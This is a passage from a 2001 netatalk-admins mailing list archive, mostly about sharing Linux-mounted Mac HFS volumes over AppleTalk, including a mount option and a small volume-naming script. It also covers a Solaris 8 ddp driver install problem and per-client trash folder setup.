	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 16:37:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12645
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 16:37:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12621
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 16:37:44 -0400 (EDT)
Received: from zevils.com (ool-18b85c87.dyn.optonline.net [24.184.92.135])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA11962
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 16:37:42 -0400 (EDT)
Received: from localhost ([127.0.0.1] ident=dukenukm)
	by zevils.com with esmtp (Exim 3.22 #1 (Debian))
	id 14miPf-0006yZ-00
	for <netatalk-admins@umich.edu>; Mon, 09 Apr 2001 16:37:28 -0400
Date: Mon, 9 Apr 2001 16:37:27 -0400 (EDT)
From: Flint Million <dukenukm@zevils.com>
X-Sender:  <dukenukm@zevils>
To: <netatalk-admins@umich.edu>
Subject: sharing a mounted HFS volume
Message-ID: <Pine.LNX.4.30.0104091635550.26783-100000@zevils>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Is there any possible way to share a volume mounted with the Linux
implementation of the HFS filesystem? example: I've mounted a
Mac-formatted zip disk on /mnt/zip, and it contains files like .finderinfo
and .resource. Can these be easily mapped to netatalk-compatible sharing
names? I do need write access to the Mac volume, for both data and
resource forks.



From netatalk.administrators-errors@umich.edu  Mon Apr  9 19:52:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07779
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 19:52:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09435
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 19:52:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09409
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 19:52:05 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA09351
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 19:52:04 -0400 (EDT)
Received: (qmail 12199 invoked by alias); 9 Apr 2001 23:52:11 -0000
Received: (qmail 12189 invoked by uid 0); 9 Apr 2001 23:52:10 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 9 Apr 2001 23:52:10 -0000
Subject: Re: sharing a mounted HFS volume
From: Matthew Keller <kellermg@potsdam.edu>
To: Flint Million <dukenukm@zevils.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.LNX.4.30.0104091635550.26783-100000@zevils>
References: <Pine.LNX.4.30.0104091635550.26783-100000@zevils>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.09.08.06 (Preview Release)
Date: 09 Apr 2001 19:52:06 -0400
Message-Id: <986860326.13541.14.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


Yup works fine. If the media/mount is read/only, you won't have proper
resource forks, which will seriously mess up the presentation of files
in Mac file lists, but will work just fine (cosmetic mostly). Also,
don't expect to just "double-click" on a data file and have the Mac
correctly ascertain what kind of file it is- YMMV.

On 09 Apr 2001 16:37:27 -0400, Flint Million wrote:
> Is there any possible way to share a volume mounted with the Linux
> implementation of the HFS filesystem? example: I've mounted a
> Mac-formatted zip disk on /mnt/zip, and it contains files like .finderinfo
> and .resource. Can these be easily mapped to netatalk-compatible sharing
> names? I do need write access to the Mac volume, for both data and
> resource forks.


-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr  9 21:48:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11343
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 21:48:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA11522
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 21:48:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA11500
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 21:48:58 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA11451
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 21:48:56 -0400 (EDT)
Received: from ns11-n67-106.de.inter.net ([213.73.67.106] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14mnH5-0005Bv-00
	for netatalk-admins@umich.edu; Tue, 10 Apr 2001 03:48:55 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id DAA14496
	for <netatalk-admins@umich.edu>; Tue, 10 Apr 2001 03:48:17 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: sharing a mounted HFS volume
Date: Tue, 10 Apr 2001 03:00:55 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.30.0104091635550.26783-100000@zevils> <986860326.13541.14.camel@comp10574.potsdam.edu>
In-Reply-To: <986860326.13541.14.camel@comp10574.potsdam.edu>
MIME-Version: 1.0
Message-Id: <01041003481705.15849@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA11343

On Tue, 10 Apr 2001, Matthew Keller wrote:
> Yup works fine. If the media/mount is read/only, you won't have proper
> resource forks, which will seriously mess up the presentation of files
> in Mac file lists, but will work just fine (cosmetic mostly). Also,
> don't expect to just "double-click" on a data file and have the Mac
> correctly ascertain what kind of file it is- YMMV.

So what you say is "no, it doesn't"!

Well function does mean for me having the finderinfo and resource fork
properly translated, that applications can be executed and are not just simple files
having a 0 bytes data fork and no resource fork.
Also because of the missing finderinfo you will don't know the type/creator of files.
Some applications refuse to open a file if it has not the appropriate creator/type.
That makes most of the files and all applications useless.

Or did I miss a netatalk feature to translate the files in the .finderinfo/.resource dirs into
AppleDouble data which netatalk uses?
I also don't know any mount option so that you will get .AppleDouble dirs instead of
.finderinfo/.resource dirs.

> 
> On 09 Apr 2001 16:37:27 -0400, Flint Million wrote:
> > Is there any possible way to share a volume mounted with the Linux
> > implementation of the HFS filesystem? example: I've mounted a
> > Mac-formatted zip disk on /mnt/zip, and it contains files like .finderinfo
> > and .resource. Can these be easily mapped to netatalk-compatible sharing
> > names? I do need write access to the Mac volume, for both data and
> > resource forks.

For me it would be great to have a feature that I can read HFS CD-ROMs mounted on my Linux
CD juke-box.
Sometimes a program to convert between these two representations would suffice.
Though it will waste disk-space and time.

Does anyone know of such a feature or if there is work in progress that netatalk can properly
handle HFS volumes?

Thanks and kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Mon Apr  9 22:26:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA12253
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 22:26:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA11754
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 22:26:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA11732
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 22:26:35 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id WAA11679
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 22:26:34 -0400 (EDT)
Received: (qmail 25436 invoked by alias); 10 Apr 2001 02:26:39 -0000
Received: (qmail 25426 invoked by uid 0); 10 Apr 2001 02:26:38 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 10 Apr 2001 02:26:38 -0000
Subject: Re: sharing a mounted HFS volume
From: Matthew Keller <kellermg@potsdam.edu>
To: deltor@snafu.de
Cc: netatalk-admins@umich.edu
In-Reply-To: <01041003481705.15849@athlet>
References: <Pine.LNX.4.30.0104091635550.26783-100000@zevils>
	<986860326.13541.14.camel@comp10574.potsdam.edu> 
	<01041003481705.15849@athlet>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.09.08.06 (Preview Release)
Date: 09 Apr 2001 22:26:35 -0400
Message-Id: <986869595.13541.18.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

On 10 Apr 2001 03:00:55 +0200, Carsten Neumann wrote:
> So what you say is "no, it doesn't"!

    *sigh* Flint asked "Is there any possible way to share a volume
    mounted with the Linux implementation of the HFS filesystem?" The
    answer to that question *IS* "Yup works fine". Sure if you want
    resource fork functionality you'll be at a loss (as I mentioned).

> Well function does mean for me having the finderinfo and resource fork
> properly translated

    Aha! So you're judging my statement as wrong because of your
    definition of "function". Well so be it. We can quibble semantics
    all day long.

> For me it would be great to have a feature that I can read HFS CD-ROMs mounted on my Linux
> CD juke-box.
> Sometimes a program to convert between these two representations would suffice.
> Though it will waste disk-space and time.

    Someone posted a kludge to one of these lists eons ago.. I think it
    was linux-atalk@netspace.org, but I can't remember.

> Does anyone know of such a feature or if there is work in progress that netatalk can properly
> handle HFS volumes?

    To my knowledge, there is not such plan within the current
    contributors to the Netatalk source. This functionality DOES exist
    in proprietary extensions of Netatalk used by 3rd parties who don't
    like to share because the current licensing doesn't make them share.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr  9 22:38:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA12556
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 22:38:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA15732
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 22:38:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA15712
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 22:38:43 -0400 (EDT)
Received: from email.wm.edu (mars.wm.edu [128.239.10.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA15553
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 22:38:41 -0400 (EDT)
Received: from unix1 (unix1.wm.edu [128.239.10.21])
	by email.wm.edu (2.1.2/8.9.1/Execmail 2.1) with ESMTP id WAA24559;
	Mon, 9 Apr 2001 22:38:18 -0400 (EDT)
Date: Mon, 9 Apr 2001 22:37:47 -0400 (EDT)
From: Rob Lineweaver <rbline@wm.edu>
To: Carsten Neumann <deltor@snafu.de>
cc: netatalk-admins@umich.edu
Subject: Re: sharing a mounted HFS volume
In-Reply-To: <01041003481705.15849@athlet>
Message-ID: <Pine.GSO.4.10.10104092229520.3675-100000@unix1.wm.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> 
> Does anyone know of such a feature or if there is work in progress that netatalk can properly
> handle HFS volumes?
> 

I found this message in the archives:
http://www.umich.edu/~rsug/netatalk/archive/admins/1999/1890.html
It is dated several years ago so I don't know if it is still applicable.

It speaks of an option that one specifies when mounting the HFS volume to 
enable netatalk to recognize the resource forks.  I cannot find this
option documented in mount's man page.  I have seen syntax variously as 
mount -o fork=netatalk
and
mount -o afpd
and do not know which is correct.  I have never tried this myself.  Surely
someone in this forum knows something about this, though.  At least I can
tell you that at one time there was a solution to the problem you are
facing.

good luck,

Rob Lineweaver
:)


From netatalk.administrators-errors@umich.edu  Tue Apr 10 01:46:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA17650
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Apr 2001 01:46:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA23693
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Apr 2001 01:46:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA23676
	for netatalk.administrators-members@umich.edu; Tue, 10 Apr 2001 01:46:01 -0400 (EDT)
Received: from iremia.univ-reunion.fr (iremia.univ-reunion.fr [194.199.73.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA23577
	for <netatalk-admins@umich.edu>; Tue, 10 Apr 2001 01:45:57 -0400 (EDT)
Received: from univ-reunion.fr (clapas [194.199.73.34])
          by iremia.univ-reunion.fr (8.9.1a/jtpda-5.3.1/jlo(98)) with ESMTP id JAA18684
          ; Tue, 10 Apr 2001 09:45:59 +0400 (GMT+4)
Sender: Gerard.Gachelin@univ-reunion.fr
Message-ID: <3AD29D6A.4C52F80B@univ-reunion.fr>
Date: Tue, 10 Apr 2001 09:43:06 +0400
From: =?iso-8859-1?Q?G=E9rard?= Gachelin <Gerard.Gachelin@univ-reunion.fr>
Organization: =?iso-8859-1?Q?Universit=E9?= de la =?iso-8859-1?Q?R=E9union?=
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.8 sun4u)
X-Accept-Language: fr, en
MIME-Version: 1.0
To: =?iso-8859-1?Q?G=E9rard?= Gachelin <Gerard.Gachelin@univ-reunion.fr>
CC: netatalk-admins@umich.edu
Subject: Re: problem installing netatalk under Solaris 8
References: <3AD1B987.274BED90@univ-reunion.fr>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms50CDD724F072CCE5B2B151ED"

This is a cryptographically signed message in MIME format.

--------------ms50CDD724F072CCE5B2B151ED
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

G=E9rard Gachelin wrote:
> =

> Hello,
> =

> I am installing netatalk 1.4b2+asun2.1.4 on an Enterprise 250
> (ultrasparc) running Solaris 8.
> =

> Compilation was working fine.
> =

> But during make kinstall, the installer sends this message :
> =

> add_drv -m '* 0666 root sys' ddp
> devfsadm: driver failed to attach: ddp
> Warning: Driver (ddp) successfully added to system but failed to attach=

> sync;sync;sync
> =

> And there is no /dev/ddp created.
> =

It seems that gcc (v 2.95.2) is unable to create a 64 bit kernel.
However, in README.SOLARIS, they give some indications to compile using
this version of gcc.
And I haven't the Sun C compiler.
Is there a place where I can get the 64 bit ddp driver for Solaris 8 ?

-- =

G=E9rard GACHELIN                          e-mail : gg@univ-reunion.fr =

Universit=E9 de la R=E9union                 T=E9l: 0262 93 82 72 =

15, Avenue Ren=E9 Cassin - BP 7151         Fax: 0262 93 82 60
97715 Saint-Denis MESSAG-CEDEX 9
--------------ms50CDD724F072CCE5B2B151ED
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH9gYJKoZIhvcNAQcCoIIH5zCCB+MCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKYMIICAaADAgECAgMEPf0wDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTAyMjIxMjM5NTFaFw0wMjAyMjIxMjM5NTFa
MFExHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxLjAsBgkqhkiG9w0BCQEWH0dl
cmFyZC5HYWNoZWxpbkB1bml2LXJldW5pb24uZnIwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ
AoGBAKuc1nbYFt+3JumY3IgjqjBubtfEJq7hUlc3AvT4YgvUZLGM8d1NZFA4NOW99XHogNGX
KtlITgGE1oxjAy/BNe3UX6H6xfahVcbytouwXnsLMewVYIdXETQ6X0Eqf5Zu82ro7d0xs2GH
SvYxFHGj5eD4AXmMxRqLBIRXmnTsvS8RAgMBAAGjPDA6MCoGA1UdEQQjMCGBH0dlcmFyZC5H
YWNoZWxpbkB1bml2LXJldW5pb24uZnIwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQQFAAOB
gQDSfIFuEQit8eZQl93dX81Km6EfQMd8sioWp7hRAa+YT6MWUSG0cqSZ3q4fwc2/ueDaMG1m
KEsrQM9amwYR8489ioDxXYO0rumLWwDn+NdeGq6lpfzPLXIaLeAC9/vfudn6yrSc8EzYBhoL
NluhVukL0r8tHbYSRsg2ssnEZrOE0jCCAykwggKSoAMCAQICAQwwDQYJKoZIhvcNAQEEBQAw
gdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp
bCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0w
MDA4MzAwMDAwMDBaFw0wMjA4MjkyMzU5NTlaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMM
V2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsG
A1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWls
IFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAN4zMqZjxwklRT7S
bngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0caCjbZjxw0+iZdsN+kvx1t1h
pfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBRh4M88Dm0m1SKE4f/s5udSWYA
LQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFi
ZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQEAwIBBjANBgkqhkiG9w0BAQQF
AAOBgQBzG28mZYv/FTRLWWKK7US+ScfoDbuPuQ1qJipihB+4h2N0HG23zxpTkUvhzeY42e1Q
9DpsNJKs5pKcbsEjAcIJp+9LrnLdBmf1UG8uWLi2C8FQV7XsHNfvF7bViJu3ooga7TlbOX00
/LaWGCVNavSdxcORL6mWuAU8Uvzd6WIDSDGCAfUwggHxAgEBMIGaMIGSMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoT
BlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNv
bmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwQ9/TAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3
DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAxMDQxMDA1NDMwNlowIwYJKoZI
hvcNAQkEMRYEFHEX4o9E+I4xFVlh04xEWpgrZ+bbMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZI
hvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3
DQMCAgEoMA0GCSqGSIb3DQEBAQUABIGAJmk054NZJdYuikRHInykoG/Mzf28mNND1PRxnUgf
+m+eg13Na7DIhr+7Rsnv465wV+9hHdsZ8ghBUVd4tQ2k5Xf/HgAgPX9uq1nETVxGIV4UOj0s
v/V8ywee/VjzlXxh8wuS48DRAZzczKqAvCkVhgJuy8yub/Ldgxrym5sdhIo=
--------------ms50CDD724F072CCE5B2B151ED--


From netatalk.administrators-errors@umich.edu  Tue Apr 10 06:12:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA25974
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Apr 2001 06:12:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA07862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Apr 2001 06:12:18 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA07844
	for netatalk.administrators-members@umich.edu; Tue, 10 Apr 2001 06:12:18 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA07806
	for <netatalk-admins@umich.edu>; Tue, 10 Apr 2001 06:12:16 -0400 (EDT)
Received: from cha.chem.gla.ac.uk ([130.209.220.103] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 14mv8J-0000YO-00; Tue, 10 Apr 2001 11:12:23 +0100
Received: from localhost (jonp@localhost) by cha.chem.gla.ac.uk (8.8.7/feedernode) with ESMTP id LAA13884; Tue, 10 Apr 2001 11:11:31 +0100 (BST)
X-Authentication-Warning: cha.chem.gla.ac.uk: jonp owned process doing -bs
Date: Tue, 10 Apr 2001 11:11:31 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: Carsten Neumann <deltor@snafu.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: sharing a mounted HFS volume
In-Reply-To: <Pine.GSO.4.10.10104092229520.3675-100000@unix1.wm.edu>
Message-ID: <Pine.SOL.4.33.0104101105550.13874-100000@cha.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 9 Apr 2001, Rob Lineweaver wrote:

I've managed to get HFS cdroms under linux (2.2.17) to work fine.

# mount -t hfs /dev/cdrom /mnt/hfscd -o ro,afpd

You'll need to adjust the volume name in AppleVolumes as appropriate.
Here's a script that does that (I've got /mnt/hfscd in my fstab as above):
[not the neatest of scripts but it seems to work]

#!/bin/sh

#offset 85 is start of volume name

if mount /mnt/hfscd; then

VOL=`cat /mnt/hfscd/.AppleDouble/.Parent | cut -b 87-106 | tr -d '\0'`

cat > $HOME/.AppleVolumes <<EOT
/mnt/hfscd "$VOL"
EOT

fi

Beware that with some versions of netatalk, afpd will die when accessing
files on such a filesystem. I'm using pre5 (with permissions patch) and
it's fine.


> >
> > Does anyone know of such a feature or if there is work in progress that netatalk can properly
> > handle HFS volumes?
> >
>
> I found this message in the archives:
> http://www.umich.edu/~rsug/netatalk/archive/admins/1999/1890.html
> It is dated several years ago so I don't know if it is still applicable.
>
> It speaks of an option that one specifies when mounting the HFS volume to
> enable netatalk to recognize the resource forks.  I cannot find this
> option documented in mount's man page.  I have seen syntax variously as
> mount -o fork=netatalk
> and
> mount -o afpd
> and do not know which is correct.  I have never tried this myself.  Surely
> someone in this forum knows something about this, though.  At least I can
> tell you that at one time there was a solution to the problem you are
> facing.
>
> good luck,
>
> Rob Lineweaver
> :)
>
>

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Tue Apr 10 12:42:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA09307
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Apr 2001 12:42:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA17945
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Apr 2001 12:42:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA17922
	for netatalk.administrators-members@umich.edu; Tue, 10 Apr 2001 12:42:21 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA17882
	for <netatalk-admins@umich.edu>; Tue, 10 Apr 2001 12:42:20 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA13407
	for <netatalk-admins@umich.edu>; Tue, 10 Apr 2001 18:37:50 +0200
Message-ID: <3AD336E0.BD0538FF@euc.de>
Date: Tue, 10 Apr 2001 18:37:51 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: simple question
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA09307

Hi

I would like to set up a volume shared by more than one client.
How do I have to setup the confs that each client gets his own
trashcan for that specific volume?

I've fiddled around with the users .AppleVolumes and
Applevolumes.default but ther must be something more :)


-- 
--schnipp-- 

best regards
-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln

From netatalk.administrators-errors@umich.edu  Tue Apr 10 19:36:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07966
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Apr 2001 19:36:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA14137
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Apr 2001 19:36:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA14115
	for netatalk.administrators-members@umich.edu; Tue, 10 Apr 2001 19:36:04 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA14065
	for <netatalk-admins@umich.edu>; Tue, 10 Apr 2001 19:36:02 -0400 (EDT)
Received: from ns11-n67-086.de.inter.net ([213.73.67.86] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14n7g9-0001gg-00
	for netatalk-admins@umich.edu; Wed, 11 Apr 2001 01:36:10 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id BAA30581
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 01:34:02 +0200
